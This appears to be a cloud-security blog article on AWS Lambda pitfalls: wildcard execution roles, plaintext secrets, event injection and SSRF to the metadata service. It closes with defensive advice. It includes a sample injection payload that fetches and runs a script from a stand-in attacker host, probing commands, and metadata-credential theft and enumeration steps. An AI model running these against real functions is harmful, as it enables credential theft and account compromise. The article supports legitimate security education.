Serverless and Lambda Security Pitfalls

Serverless and Lambda Security Pitfalls - article cover image Cloud Security
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Serverless functions — AWS Lambda, Azure Functions, Google Cloud Functions — remove the operator from patching and hardening an OS, but they do not remove application-layer security responsibility. Each function still runs attacker-reachable code, still trusts an execution role or identity with real permissions, and still handles untrusted input from whatever event source triggers it — an API Gateway request, an S3 upload, a queue message, a scheduled event. The security model shifts from “harden the host” to “harden the function’s permissions and its handling of the event payload,” and many teams treat that shift as if security got easier rather than just different.

The two failure modes that dominate real-world serverless findings are the same two that dominate cloud IAM in general: functions are given far more execution-role permission than their code needs, and functions trust event data as if it were validated input rather than attacker-controlled bytes. Layer on top of that the fact that a Lambda function’s execution environment can reach the instance metadata service much like an EC2 instance can, and a single injection bug inside a function handler can escalate straight into broader AWS account compromise through the attached execution role.

Attack Prerequisites

Exploiting serverless security pitfalls generally requires one of the following starting conditions:

  • The ability to supply or influence the event payload delivered to the function — an API Gateway/API request body or headers, an S3 object key/content, an SQS/SNS message, or any other trigger source the attacker can write to.
  • A code-level injection point in the handler — the event is passed unsanitized into a shell command, SQL query, deserializer, or outbound HTTP request built inside the function.
  • An over-permissioned execution role attached to the function — broader IAM permissions (* actions/resources, iam:PassRole, wide S3/DynamoDB access) than the function’s actual logic requires.
  • Secrets stored as plaintext environment variables on the function configuration, readable by anyone with lambda:GetFunctionConfiguration or by code execution inside the function itself.
  • Network reachability from inside the function’s execution environment to the cloud metadata service (169.254.169.254), either directly or via an SSRF primitive inside the handler.

How It Works

A serverless function is deployed with a single IAM execution role that every invocation runs as, regardless of which code path actually executes. Because that role is set once at deploy time and rarely revisited, it accumulates permissions the way any infrequently-audited IAM entity does: a developer adds s3:*/dynamodb:* to unblock a feature during development and never narrows it afterward, or copies a role definition from another function that legitimately needed broader access. Any successful code execution inside that function — via injection, a vulnerable dependency, or a deserialization bug — inherits every permission that role holds.

Event injection exploits the fact that a function handler receives the entire trigger payload as structured data (typically JSON) that the developer must explicitly validate — nothing in the platform does this automatically. Fields the developer assumes are safe because “the event comes from API Gateway” are still fully attacker-controlled: headers, query strings, and body fields all flow from the original HTTP request. When that data is concatenated into a shell command (child_process.exec in Node, os.system in Python), passed to an ORM as a raw query fragment, or fed to an insecure deserializer (pickle.loads, Java’s ObjectInputStream), the function inherits the same injection classes as a traditional server — with the added twist that state resets on every cold start, which can make exploitation harder to detect through simple process monitoring.

SSRF from inside a function is unusually dangerous because the execution environment can reach the instance metadata service much like an EC2 instance can. Modern Lambda execution environments run as Firecracker microVMs with tighter isolation than early implementations, but a function that makes an outbound HTTP request to an attacker-influenced URL (a webhook target, an image URL, a callback endpoint) can still be coerced into requesting 169.254.169.254 and returning temporary credentials for the function’s own execution role — credentials the attacker did not otherwise have direct access to.

Vulnerable Code / Configuration

The most common root cause is an execution role with wildcard actions and resources, granted because it was the fastest way to unblock development and never tightened before shipping:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:*", "dynamodb:*", "secretsmanager:*"],
      "Resource": "*"
    }
  ]
}
// Attached to a function that only needs s3:GetObject on one bucket
// and dynamodb:Query on one table -- any RCE in the handler now
// has full read/write across every bucket, table, and secret
// in the account.
JSON

Secrets stored directly as plaintext Lambda environment variables are readable by anyone with console/API access to the function configuration, and are also visible to any code executing inside the function — including a dependency compromised via supply-chain attack:

// Lambda environment variables (visible via GetFunctionConfiguration,
// and to any code running inside the function itself)
// STRIPE_SECRET_KEY=sk_live_51Hxxx...
// DB_PASSWORD=Sup3rSecret!2023

exports.handler = async (event) => {
  const stripeKey = process.env.STRIPE_SECRET_KEY;  // VULNERABLE: plaintext secret
  // ... use stripeKey directly, never rotated, never encrypted with a CMK
};
JavaScript

Event injection is the classic unsanitized-input bug relocated into a handler — here, a filename taken from the incoming event is passed straight into a shell command:

import subprocess

def handler(event, context):
    filename = event['queryStringParameters']['file']
    # VULNERABLE: attacker-controlled value reaches a shell
    result = subprocess.run(f"convert /tmp/{filename} /tmp/out.png",
                             shell=True, capture_output=True)
    return {"statusCode": 200, "body": result.stdout.decode()}
# Request: ?file=x;curl+http://attacker/x.sh|sh
Python

Walkthrough / Exploitation

Start by fingerprinting the function’s trust boundary. For an API Gateway-fronted function, probe injection payloads across every header, query parameter, and body field, since developers rarely validate all of them equally:

curl 'https://xxxx.execute-api.us-east-1.amazonaws.com/prod/convert?file=test.jpg;id'
curl -H 'X-Forwarded-For: 1;id' 'https://xxxx.execute-api.us-east-1.amazonaws.com/prod/convert'
Bash

If injection succeeds, immediately check what the function’s execution role can actually do — this defines the real blast radius, not the application logic:

# From inside the function (if RCE achieved) or via IMDS-derived creds:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
aws sts get-caller-identity
aws iam list-role-policies --role-name lambda-exec-role
aws iam get-role-policy --role-name lambda-exec-role --policy-name inline-policy
Bash

With confirmed over-broad permissions, enumerate reachable resources:

aws s3 ls --profile stolen-lambda-creds
aws dynamodb list-tables --profile stolen-lambda-creds
aws secretsmanager list-secrets --profile stolen-lambda-creds
Bash

If plaintext secrets are the target rather than injection, lambda:GetFunctionConfiguration alone is often sufficient given the right IAM permissions — no code execution required:

aws lambda get-function-configuration \
    --function-name image-convert \
    --query 'Environment.Variables'
Bash

Note: Cold starts complicate exploitation slightly — each fresh microVM gets a clean /tmp and process table, so techniques relying on persistence within one execution environment only survive for the lifetime of that warm container. Design PoCs to complete within a single invocation rather than assuming state carries over.

Opsec: Every Lambda invocation is logged to CloudWatch Logs by default, including START/END/REPORT lines and anything the function prints to stdout/stderr — injected shell output is frequently captured verbatim in these logs. API Gateway access logs and AWS CloudTrail’s Invoke and GetFunctionConfiguration API calls provide additional, harder-to-avoid trails; assume exploitation attempts are recorded even when the payload itself fails.

Detection and Defense

Serverless security comes down to scoping the execution role tightly and treating every event field as untrusted input, exactly as with a traditional server:

  • Scope execution roles per-function to least privilege — specific actions on specific resource ARNs, never *:*; use IAM Access Analyzer’s policy generation from CloudTrail activity to right-size existing roles.
  • Never store secrets as plaintext environment variables — use AWS Secrets Manager or SSM Parameter Store with runtime retrieval, and encrypt environment variables with a customer-managed KMS key.
  • Validate and sanitize every event field, not just the ones obviously in the “business logic” path — headers, query strings, and metadata fields are all attacker-controlled.
  • Avoid shell interpolation and insecure deserialization in handler code; use parameterized subprocess calls (subprocess.run([...], shell=False)) and safe serialization formats.
  • Restrict outbound network access from functions that don’t need it via VPC security groups, or remove VPC attachment entirely if the function has no need to reach internal resources.
  • Monitor CloudTrail for iam:PassRole, lambda:UpdateFunctionCode, and lambda:GetFunctionConfiguration calls outside normal deploy pipelines.
  • Scan function dependencies for known-vulnerable packages before deploy — the dependency tree is as much an attack surface as any server’s.

Real-World Impact

Over-permissioned Lambda execution roles are one of the most frequently cited findings in AWS security assessments, largely because IAM role scoping is manual and rarely revisited after a function ships. Event injection into serverless handlers follows the same patterns documented in the OWASP Serverless Top 10, and SSRF-to-metadata-credential-theft remains a standard technique in cloud penetration tests wherever a function makes outbound requests to attacker-influenced destinations. The shared-responsibility model explicitly leaves function code, IAM configuration, and dependency hygiene to the customer — the platform secures the runtime, not the logic running inside it.

Conclusion

Serverless computing changes where security effort goes, not whether it is needed. An execution role is exactly as sensitive as a server’s local credentials, event payloads are exactly as untrusted as HTTP request bodies, and a function with outbound network access is exactly as capable of SSRF as any other application. Scope roles tightly, validate every event field, keep secrets out of environment variables, and monitor invocation and IAM activity as closely as you would monitor a traditional internet-facing server.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL